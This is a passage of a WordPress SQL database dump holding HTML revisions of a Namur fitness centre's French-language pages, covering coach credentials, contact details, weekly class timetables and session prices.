/&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-07-10 15:47:02', '2013-07-10 15:47:02', '', 20, 'http://www.crosstrainingcenter.be/20-revision-36/', 0, 'revision', '', 0),
(337, 1, '2013-07-11 07:03:58', '2013-07-11 07:03:58', '&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nLes prises de RDV pour les séances de\r\nTeam Training, Duo Training, Personnal\r\nTraining ou Coaching nutritionnel se\r\nfont exclusivement par téléphone.\r\n\r\n0485 / 92 . 02 . 12\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Adresse :&lt;/h1&gt;\r\nBowling et Squash de Namur\r\nChaussée de Perwez 251\r\n&lt;em id=\&quot;__mceDel\&quot;&gt; 5002 Namur\r\n&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/em&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\r\n&lt;h1&gt;Plan d\'accès :&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n&lt;small&gt;&lt;a style=\&quot;color: #0000ff; text-align: left;\&quot; href=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;source=embed\&quot;&gt;Agrandir le plan&lt;/a&gt;&lt;/small&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-07-11 07:03:58', '2013-07-11 07:03:58', '', 9, 'http://www.crosstrainingcenter.be/9-revision-20/', 0, 'revision', '', 0),
(339, 1, '2013-07-25 16:36:46', '2013-07-25 16:36:46', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-25 16:36:46', '2013-07-25 16:36:46', '', 11, 'http://www.crosstrainingcenter.be/11-revision-114/', 0, 'revision', '', 0);
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(344, 1, '2013-08-23 08:46:17', '2013-08-23 08:46:17', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-08-23 08:46:17', '2013-08-23 08:46:17', '', 11, 'http://www.crosstrainingcenter.be/11-revision-115/', 0, 'revision', '', 0),
(346, 1, '2013-10-05 08:39:04', '2013-10-05 08:39:04', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&lt;br&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;18h&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;17h30&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;18h&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;17h30&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;17h30&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;17h30&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;11h&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;18h30&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;18h15&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;18h30&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;18h15&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;18h15&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;11h30&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;11h30&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;12h&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;12h&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h45&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h30&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h45&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h15&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h45&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;br&gt;\r\n\r\n\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td 